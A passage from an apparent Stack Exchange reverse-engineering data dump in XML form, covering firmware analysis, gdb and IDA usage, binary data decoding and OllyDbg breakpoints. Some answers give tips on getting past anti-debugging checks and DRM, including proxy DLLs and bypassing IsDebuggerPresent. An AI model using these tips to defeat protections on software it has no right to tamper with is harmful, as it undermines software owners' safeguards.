device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: I don't think the firmware is compressed. But I'm not sure if it's encrypted. What's the best way to check this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file binary.file&#xA;binary.file: data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;strings -n 10 binary.file&lt;/code&gt; I get a seemingly valid list of strings.&lt;/p&gt;&#xA;" OwnerUserId="18025" LastEditorUserId="18025" LastEditDate="2016-11-08T12:25:45.477" LastActivityDate="2018-06-08T00:09:01.383" Title="Trying to decompile hex firmware" Tags="|disassembly|firmware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13880" PostTypeId="1" CreationDate="2016-11-07T23:51:06.297" Score="1" ViewCount="772" Body="&lt;p&gt;I have Sparrow Wireless Adapter which from Qualcomm originally Wilocity that supports Wifi over 60 GHz (802.11ad or WiGiG). I have the firmware files of the wireless chipset (wil6210.fw and wil6210.brd). I would like to know the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Did anyone manage to reverse engineer the firmware and and get an insight regarding the implementation?&lt;/li&gt;&#xA;&lt;li&gt;How would it be possible to know if the firmware is protected/encrypted or not?&lt;/li&gt;&#xA;&lt;li&gt;What is the best tool to dissemble the firmware file and extract useful information out of it and allow to build new firmware?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="17370" LastActivityDate="2016-11-07T23:51:06.297" Title="Reverse Engineering Wifi Chip-set Firmware" Tags="|disassembly|linux|firmware|" AnswerCount="0" CommentCount="2" ClosedDate="2017-03-14T10:57:21.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="13881" PostTypeId="1" AcceptedAnswerId="13883" CreationDate="2016-11-08T08:32:51.230" Score="1" ViewCount="1641" Body="&lt;p&gt;I'm debugging &lt;code&gt;android jni&lt;/code&gt; with &lt;code&gt;gdb&lt;/code&gt;. There's a &lt;code&gt;jni&lt;/code&gt; function &lt;code&gt;A()&lt;/code&gt;, I need to set &lt;code&gt;breakpoint&lt;/code&gt; there and step through. I calculated the address with &lt;code&gt;module_base+offset&lt;/code&gt;, which is &lt;code&gt;0x99B62C7A&lt;/code&gt;, then I tried to verify if it's the right address, with &lt;code&gt;gdb&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display /5i 0x99B62C7A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It prints some unexpected instructions, which is different from &lt;code&gt;IDA&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YU1WQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YU1WQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I put a &lt;code&gt;breakpoint&lt;/code&gt; there and click on the UI to trigger the &lt;code&gt;breakpoint&lt;/code&gt;, the process crashes with &lt;code&gt;SIGSEGV&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why &lt;code&gt;gdb&lt;/code&gt; displays different instructions? Is the crash has something to do with the bad instruction?&lt;/p&gt;&#xA;" OwnerUserId="17710" LastEditorUserId="17915" LastEditDate="2016-11-09T08:46:22.140" LastActivityDate="2016-11-09T08:46:22.140" Title="gdb shows wrong instruction" Tags="|ida|android|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13882" PostTypeId="2" ParentId="13847" CreationDate="2016-11-08T08:53:13.143" Score="1" Body="&lt;p&gt;I actually found the hash function today by reverse-engineering the game's code. Here it is, translated to Python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def hashFunction(data):&#xA;    h = -1&#xA;&#xA;    for c in data:&#xA;        if (c - 65) &amp;amp; 0xFFFFFFFF &amp;lt;= 0x19:&#xA;            c |= 0x20&#xA;&#xA;        h = (h * 33 + c) &amp;amp; 0xFFFFFFFF&#xA;&#xA;    return h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When run with &lt;code&gt;b'5'&lt;/code&gt;, &lt;code&gt;b'10'&lt;/code&gt;, &lt;code&gt;b'25'&lt;/code&gt;, etc., this function returns hash values seen in the table I posted. They don't match the corresponding keys in that table due to a bug in my text extraction script (oops).&lt;/p&gt;&#xA;" OwnerUserId="17939" LastEditorUserId="17939" LastEditDate="2016-11-08T09:52:50.240" LastActivityDate="2016-11-08T09:52:50.240" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13883" PostTypeId="2" ParentId="13881" CreationDate="2016-11-08T10:07:26.673" Score="6" Body="&lt;p&gt;Your instructions shown by Ida are Thumb-mode instructions. The easiest way to verify this is by checking the addresses - each instruction has 2 bytes. Gdb doesn't know this however, and assumes 4 byte arm instructions. When an object has a symbol table, gdb can detect the instruction mode from that, but will fallback to a default mode when it can't. You can change this fallback mode; &lt;code&gt;set arm fallback-mode thumb&lt;/code&gt; should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explains the SIGSEGV as well as breakpoints use different opcodes in arm and thumb mode.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-11-08T10:07:26.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="1" AcceptedAnswerId="13887" CreationDate="2016-11-08T10:21:14.887" Score="2" ViewCount="1060" Body="&lt;p&gt;I am analysing obfuscated code which contains code paths leading to dummy instructions. These dummy instructions prevent IDA from creating functions. However, I need these functions to do a function matching with Bindiff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I was patching these functions manually, the output of the &quot;Make Function&quot; feature (by pressing &quot;p&quot;) contained the address where it encountered a problem. This information was very helpful to pinpoint the next dummy instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed up this process I started to write a Python script. I managed to identify the start addresses of functions containing dummy instructions. However, unlike in the IDA Pro UI the API function MakeFunction() only returns true or false to indicate a (un)successful creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to get the same address as reported in the output window by other means like &quot;Jump to next unexplored&quot;, but no luck. The only other way I found is to use the &quot;Jump to Problem&quot; option which again I only can access in the UI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the address where MakeFunction() failed in Python, just like in the UI?&lt;/p&gt;&#xA;" OwnerUserId="18029" LastEditorUserId="18029" LastEditDate="2016-11-09T10:59:27.853" LastActivityDate="2016-11-09T13:48:05.803" Title="How to get address where MakeFunction() failed in IDA Pro" Tags="|ida|idapython|deobfuscation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13886" PostTypeId="1" AcceptedAnswerId="15865" CreationDate="2016-11-08T20:22:52.330" Score="2" ViewCount="528" Body="&lt;p&gt;I have some dead pixels in top couple of rows of my cheap Win 10 tablet. To alleviate that, I wanted to use the custom resolution option in Intel graphics management panel, however, I cannot choose advanced options in the custom resolutions options and it is driving me crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remembered Intel GFX drivers used some &lt;code&gt;*.inf&lt;/code&gt; to enable some options and I believe it is in &lt;code&gt;igdlh64.inf&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has any of you  tried to modify this or have some knowledge on this (and no there is not a documentation provided anywhere)?&lt;/p&gt;&#xA;" OwnerUserId="18040" LastEditorUserId="15017" LastEditDate="2016-11-09T15:10:30.943" LastActivityDate="2017-07-19T21:23:40.373" Title="igdlh64.inf modify custom resolution" Tags="|driver|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13887" PostTypeId="2" ParentId="13884" CreationDate="2016-11-09T11:05:34.877" Score="4" Body="&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;find_func_bounds()&lt;/code&gt; does the trick (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/funcs_8hpp.html#a060aa341534e4994eb7918dcd15e0506&quot; rel=&quot;nofollow noreferrer&quot;&gt;see SDK documentation&lt;/a&gt;). That's how it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pfn = func_t()&#xA;find_func_bounds(ea, pfn, FIND_FUNC_NORMAL)&#xA;pfn.endEA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the return value of &lt;code&gt;find_func_bounds()&lt;/code&gt; is &lt;code&gt;FIND_FUNC_UNDEF&lt;/code&gt; (0), &lt;code&gt;pfn.endEA&lt;/code&gt; contains the address where it encountered unexplored bytes.&lt;/p&gt;&#xA;" OwnerUserId="18029" LastEditorUserId="60" LastEditDate="2016-11-09T13:48:05.803" LastActivityDate="2016-11-09T13:48:05.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13888" PostTypeId="2" ParentId="13858" CreationDate="2016-11-09T16:06:31.813" Score="1" Body="&lt;p&gt;This project here generates Visual Studio code for building plain proxy dlls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mavenlin/Dll_Wrapper_Gen&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mavenlin/Dll_Wrapper_Gen&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's based off an older project called &quot;wrapit&quot;, which also generates VS code, but takes a little more work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had some luck with both, they generate valid code that I can build DLLs with. As these are native, functioning DLLs, they should avoid any trouble with anti-debugger code that detects a debugging process hooking in (though, there are conceivably counter-measures that could defeat this attempt too).&lt;/p&gt;&#xA;" OwnerUserId="17933" LastActivityDate="2016-11-09T16:06:31.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13889" PostTypeId="1" AcceptedAnswerId="13893" CreationDate="2016-11-09T19:09:56.290" Score="0" ViewCount="5603" Body="&lt;p&gt;I'm getting into the world of reverse engineering because I think it would be interesting to know how things work and such (also learning some assembly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have this strange problem, when I'm debugging some code, like a program from crackme.de, the program gets terminated instantly when I try to run it. So to see the changes I've done I actually have to patch it which will be very annoying in the long run I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried out different debuggers as well, OllyDbg, IDA Pro (free edition) and Immunity Debugger (going with this one because I like it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I still have the same problem. I make some changes, I debug the program (start process), instantly gets Program terminated with code 0 (which is the return value from the program if I understand right).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I must be doing something wrong. I'm running Windows 10 if that might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18050" LastActivityDate="2016-11-10T21:44:19.130" Title="Program gets terminated when debugging" Tags="|debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13890" PostTypeId="2" ParentId="13889" CreationDate="2016-11-09T22:06:55.280" Score="0" Body="&lt;p&gt;Does this software have anti-debugging features built into it? I've been doing some research myself recently on Safedisc-protected software (usually video games, just not in my case... retail software). This DRM tool includes anti-debugging features that keep an eye out for popular debuggers running in the background, and actively attempts to thwart such debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other such tools than Safedisc (the Sony video game DRM comes to mind, can't think of its name), and I know even less about their details, but they have similar features.&lt;/p&gt;&#xA;" OwnerUserId="17933" LastActivityDate="2016-11-09T22:06:55.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13891" PostTypeId="1" AcceptedAnswerId="13892" CreationDate="2016-11-10T04:02:29.593" Score="1" ViewCount="13781" Body="&lt;p&gt;I have a binary file and a text file of the corresponding data, and I know the location in the binary file where the data are contained. However, I am unable to determine in what manner the data are encoded. The data do not appear to be stored as float16, float32, float64, signed/unsigned int of various length, or char, based on analysis of the hexdump. Perhaps the section containing the data has been compressed by some algorithm, or perhaps the numbers are stored in a representation with which I am unfamiliar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The human-readable data are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20.0,0.001&#xA;21.0,0.001&#xA;22.0,0.001&#xA;23.0,0.001&#xA;24.0,0.002&#xA;25.0,0.002&#xA;26.1,0.002&#xA;27.0,0.004&#xA;28.0,0.002&#xA;29.0,0.002&#xA;30.0,0.003&#xA;31.0,0.004&#xA;(etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have 70 such lines, each containing two numbers of the precision shown in the table. The corresponding data section comprises 2312 hexadecimal digits, or 1156 bytes. There is a repeating pattern of characters ascending the ASCII table followed by @ signs (e.g., 4@ = '0x3440', 5@ = '0x3540', 6@ ='3640', etc.). This &quot;motif&quot; occurs every 16 bytes and there are 70 occurrences. One challenge is that although there is a monotonic progression in the ASCII value of the byte preceding the @ ('0x40'), it does not always increase (i.e., there are stationary points, sometimes followed by a jump that skips over one of the ASCII characters; for instance &lt;code&gt;4@ ... 5@ ... 6@ ...6@ ... 8@ ... 9@ ...&lt;/code&gt;). Based on the 16-byte periodicity of this motif, I assume each row in the human-readable table is represented in the binary file by 16 consecutive bytes. Thus, the total size of the binary data table would be 16*70 = 1120 bytes. The complete data table is 1156 bytes, so I further assume the unexplained 36 bytes contain header information. Indeed, I can account for most of the header: 15 bytes containing a data descriptor in plain text, 16 bytes of zeros which appears to serve as an offset, and one byte ('0x46' = 70 in decimal) which appears to encode the number of lines in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problems are currently the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I do not know the &quot;phase&quot; of the 16 bytes of data (i.e., where one 16 byte segment ends and the next begins)&lt;/li&gt;&#xA;&lt;li&gt;I do not know how the human-readable numbers are encoded. They do not appear to be encoded in various float or integer representations, nor as ASCII characters.&lt;/li&gt;&#xA;&lt;li&gt;I do not know whether the data are compressed and if so how to determine the method of compression. If they are compressed, then the compression would be restricted to the data table itself since I can find plain text elsewhere in the binary file by running &lt;code&gt;strings&lt;/code&gt; on it. Running &lt;code&gt;file&lt;/code&gt; on the binary file simply reports that it contains &quot;data&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;An example of the hexadecimal contents (&lt;code&gt;xxd&lt;/code&gt; dump) corresponding very nearly to the contents above and aligned to show the progression of '0x40' = @ that I mentioned previously is shown below. This table begins with the '0x46' (decimal 70), to which I alluded previously as being a part of the header and representing the number of lines in the data table. The hex digits before the colon simply give the offset of the line from the beginning of the file; the middle section shows eight bytes (16 hex digits) of data; the right part of the table shows the ASCII-printable values for the hex data (&lt;code&gt;.&lt;/code&gt; signifies ASCII-unprintable values, mostly &lt;code&gt;0x00&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000180: 4600 0000 0000 0000 0000 3440 0000 0000  F.........4@....&#xA;00000190: 0000 583f 0000 0000 0000 3540 0000 0000  ..X?......5@....&#xA;000001a0: 0000 503f c3f5 285c 8f02 3640 0000 0000  ..P?..(\..6@....&#xA;000001b0: 0000 553f 3e0a d7a3 70fd 3640 0000 0000  ..U?&amp;gt;...p.6@....&#xA;000001c0: 0000 453f 0000 0000 0000 3840 0000 0000  ..E?......8@....&#xA;000001d0: 0040 5d3f 85eb 51b8 1e05 3940 0000 0000  .@]?..Q...9@....&#xA;000001e0: 0000 5e3f cdcc cccc cc0c 3a40 0000 0000  ..^?......:@....&#xA;000001f0: 0000 633f f628 5c8f c2f5 3a40 0000 0000  ..c?.(\...:@....&#xA;00000200: 00c0 703f 3e0a d7a3 70fd 3b40 0000 0000  ..p?&amp;gt;...p.;@....&#xA;00000210: 0000 5a3f 0000 0000 0000 3d40 0000 0000  ..Z?......=@....&#xA;00000220: 0020 613f 48e1 7a14 ae07 3e40 0000 0000  . a?H.z...&amp;gt;@....&#xA;00000230: 00c0 643f c3f5 285c 8f02 3f40 0000 0000  ..d?..(\..?@....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like advice on how to proceed with this particular problem, mainly determining whether compression is a factor and how the numbers are represented in the binary file, since I can thus far detect no obvious correspondence between the rows of human-readable data and the repeating 16-byte motifs that I described.&lt;/p&gt;&#xA;" OwnerUserId="18052" LastEditorUserId="18052" LastEditDate="2016-11-10T04:13:54.053" LastActivityDate="2018-04-02T19:46:20.360" Title="extracting data from binary file" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13892" PostTypeId="2" ParentId="13891" CreationDate="2016-11-10T06:53:17.097" Score="5" Body="&lt;p&gt;This data actually is in standard x86 double (8 byte) representation, with the first 4 byte something else (46 00 00 00 probably being 70 as you said) and the data starting at offset 0x184 in the binary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What probably confused you is the fact that the human-readable data is rounded, and the binary file has a better precision. So, for example, your &lt;code&gt;23.0&lt;/code&gt; is actually &lt;code&gt;22.99&lt;/code&gt;, which is why &lt;code&gt;3640&lt;/code&gt; occurs twice, and the next value, &lt;code&gt;24.00&lt;/code&gt;, has &lt;code&gt;38 40&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I convert your hex back to binary (edit out the offset and character dump, then &lt;code&gt;xxd -r -p &amp;lt; x.hex &amp;gt; x.bin&lt;/code&gt;), then run the following perl program over it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;open(F, &quot;&amp;lt;$ARGV[0]&quot;);&#xA;binmode F;&#xA;&#xA;seek(F, 4, 0);&#xA;&#xA;while (read(F, $dbl, 8)) {&#xA;    read(F, $dbl2, 8);&#xA;    printf(&quot;%15.10f  %15.10f   &quot;, unpack(&quot;d&quot;, $dbl), unpack(&quot;d&quot;, $dbl2));&#xA;    printf(&quot;%4.1f  %5.3f\n&quot;, unpack(&quot;d&quot;, $dbl), unpack(&quot;d&quot;, $dbl2));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;20.0000000000     0.0014648438   20.0  0.001&#xA;21.0000000000     0.0009765625   21.0  0.001&#xA;22.0100000000     0.0012817383   22.0  0.001&#xA;22.9900000000     0.0006408691   23.0  0.001&#xA;24.0000000000     0.0017852783   24.0  0.002&#xA;25.0200000000     0.0018310547   25.0  0.002&#xA;26.0500000000     0.0023193359   26.1  0.002&#xA;26.9600000000     0.0040893555   27.0  0.004&#xA;27.9900000000     0.0015869141   28.0  0.002&#xA;29.0000000000     0.0020904541   29.0  0.002&#xA;30.0300000000     0.0025329590   30.0  0.003&#xA;31.0100000000     0.0000000000   31.0  0.000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the right 2 columns are the numbers in your precision and match (except the last 0.004 which isn't in your file), while the first 2 columns are in high precision and, sometimes, have a value that is slightly less than the next integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this by converting 20.0 to double and checking the hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perl -e &quot;print pack('d', 20.0);&quot; | xxd&#xA;0000000: 0000 0000 0000 3440                      ......4@&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then just starting at the fitting offset in your file and converting stuff back.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-11-10T06:53:17.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13893" PostTypeId="2" ParentId="13889" CreationDate="2016-11-10T14:29:35.010" Score="1" Body="&lt;p&gt;You're doing everything correct! The problem is an anti-debugging technique. There is a function &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680345(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;isDebuggerPresent()&lt;/a&gt;, which can check if your program is being debugged or not. This can be seen in the &quot;Newbie&quot; crackmes, as it is really easy to bypass. You can try to disable it yourself, or have a look at &lt;a href=&quot;https://stackoverflow.com/questions/10330147/how-do-i-bypass-isdebuggerpresent-with-ollydbg&quot;&gt;similar questions&lt;/a&gt;, how to bypass this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="18058" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-10T14:29:35.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13894" PostTypeId="1" CreationDate="2016-11-10T16:39:47.570" Score="0" ViewCount="1242" Body="&lt;p&gt;I am attempting to set a breakpoint after a user clicks a button on a Windows GUI program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I load the program into OllyDbg, type in &lt;code&gt;ctrl+g&lt;/code&gt; to search for a function, I then use the GetMessageW function. I then set a conditional breakpoint by typing &lt;code&gt;ctrl+f4&lt;/code&gt; and type in &lt;code&gt;[esp+4]&lt;/code&gt; under the expression and decode the expression as a Pointer to MSGW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of that is working fine. Now I want to refine it so it only breaks when the Msg == WMLBUTTONDOWN for example (only when the user clicks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible? What do I type in the conditional text box?&lt;/p&gt;&#xA;" OwnerUserId="18063" LastActivityDate="2016-11-10T21:44:12.267" Title="OllyDbg condition based on Windows Message for button click" Tags="|ollydbg|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13895" PostTypeId="2" ParentId="13894" CreationDate="2016-11-10T21:44:12.267" Score="2" Body="&lt;p&gt;MSG Structure is as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct tagMSG {&#xA;   HWND hwnd;&#xA;   UINT message;&#xA;   WPARAM wParam;&#xA;   LPARAM lParam;&#xA;   DWORD time;&#xA;   POINT pt;&#xA;} MSG;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GetMessageAorW is as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI GetMessage(&#xA;  _Out_     LPMSG lpMsg,&#xA;  _In_opt_  HWND hWnd,&#xA;  _In_      UINT wMsgFilterMin,&#xA;  _In_      UINT wMsgFilterMax&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it takes a pointer to MSG structure as its first argument ie [esp+4] is a pointer to MSG Structure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you need to dereference [[esp+4] + 4] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg understands most of the Messages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you can set a condition like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[[esp+4]+4] == WM_COMMAND&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;set pause on condition log espession on condition and log function arg on condition and hit ok &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and ollydbg will break on exact message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address   Message&#xA;7744CDE8  INT3: arg1 = MSGW at address 0023EB60:&#xA;                  hWnd = 00400182, class = CalcFrame, text = Calculator&#xA;                  Msg = WM_COMMAND&#xA;                   = NotifyCode = MENU/BN_CLICKED..., ID = 305.&#xA;                  hControl = NULL&#xA;                  time = 114486575.&#xA;                  pt_X = 736.&#xA;                  pt_Y = 210.&#xA;7744CDE8  Call to USER32.GetMessageW from calc.002C1CB6&#xA;            0023EB60  pMsg = 0023EB60 -&amp;gt; MSGW {hWnd=00400182, class = CalcFrame, text = Calculator, Msg=WM_COMMAND, =NotifyCode = MENU/BN_CLICKED..., ID = 305., hControl=NULL, time=114486575., pt_X=736., pt_Y=210.}&#xA;            00000000  hWnd = NULL&#xA;            00000000  MsgFilterMin = 0&#xA;            00000000  MsgFilterMax = 0&#xA;7744CDE8  Conditional breakpoint at USER32.GetMessageW&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see that MSGW structure contain 111 which is WM_COMMAND &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you ask ollydbg to decode it as structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Structure MSGW at 0023EB60&#xA;Address   Hex dump      Decoded data             Comments&#xA;0023EB60  /.82014000    DD      00400182         ; /hWnd = 00400182, class = CalcFrame, text = Calculator&#xA;0023EB64  |.11010000    DD      00000111         ; |Msg = WM_COMMAND&#xA;0023EB68  |.31010000    DD      00000131         ; | = NotifyCode = MENU/BN_CLICKED..., ID = 305.&#xA;0023EB6C  |.00000000    DD      00000000         ; |hControl = NULL&#xA;0023EB70  |.2FEDD206    DD      06D2ED2F         ; |time = 114486575.&#xA;0023EB74  |.E0020000    DD      000002E0         ; |pt_X = 736.&#xA;0023EB78  \.D2000000    DD      000000D2         ; \pt_Y = 210.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in cases where ollydbg doesnt understand some XX_YYY you can substitute hex in place of XX_YYY&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;like [[esp+4]+4] == 1337 for the condition statement&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h42g5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h42g5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-11-10T21:44:12.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13896" PostTypeId="2" ParentId="13889" CreationDate="2016-11-10T21:44:19.130" Score="0" Body="&lt;p&gt;Try putting a breakpoint on various process exit points: &lt;code&gt;ExitProcess&lt;/code&gt;, &lt;code&gt;TerminateProcess&lt;/code&gt;, &lt;code&gt;TerminateThread&lt;/code&gt;. If the exit is done by the process itself, you should be able to catch it and then see what could have triggered it. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-11-10T21:44:19.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13897" PostTypeId="1" CreationDate="2016-11-10T22:54:24.603" Score="1" ViewCount="97" Body="&lt;p&gt;When I use WinDbg and there's some long operation, I can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Break&lt;/kbd&gt; to &lt;em&gt;cancel&lt;/em&gt; the current operation (for instance, but not limited to, cancel PDB loading). Or use this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/09sF1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/09sF1.png&quot; alt=&quot;WinDbg break&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whenever I use WinDbg as a backend to IDA, it simply hangs until the current operation has finished. Is there any shortcut for sending a &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Break&lt;/kbd&gt; to the WinDbg backend or I just have to wait for it to complete?&lt;/p&gt;&#xA;" OwnerUserId="17693" LastActivityDate="2016-11-10T22:54:24.603" Title="How can I send a &quot;Break&quot; to the WinDbg backend when using IDA as a frontend?" Tags="|ida|windbg|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13898" PostTypeId="1" CreationDate="2016-11-11T06:40:05.783" Score="1" ViewCount="94" Body="&lt;p&gt;The dll in question is custom, from a retail/consumer software package that was first offered for sale in 2006/2007. I am fairly confident that it was compiled with Visual Studio .NET (2003).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial attempts to understand the dll had me test-driving various proxy dll code generators. I was able to extract the exported functions (nearly 800 of them), and the code would build. Unfortunately the retail software would reject this dll because of some mismatched signature that I was eventually able to ascertain with the corflags.exe VS utility. Eventually it became clear that my version of Visual Studio was too modern to ever match this, and after some hair-pulling I acquired VS2003. Finding that it can never install properly on modern windows, I dug Windows XP out of a closet, and I now have a VM with which to build the proxy dll... signature matches, new errors are showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's complaining that it can't load a type, which it names. I was under the impression that the proxy dll generator was taking care of this. Spent some time making sure it wasn't missing anything, and it doesn't appear to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the dll is built with CLR/.NET 1.1, which is slightly strange. So I downloaded IntelliJ's dotpeek decompiler. Sure enough, this brings up a relatively small handful of classes and structs that I haven't seen before. It even shows me the c# sharp code for this (variable names don't look like decompiled/disassembled stuff... does dotnet not strip these during compilation?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I have a dll that looks as if it has both cpp and cs code in it 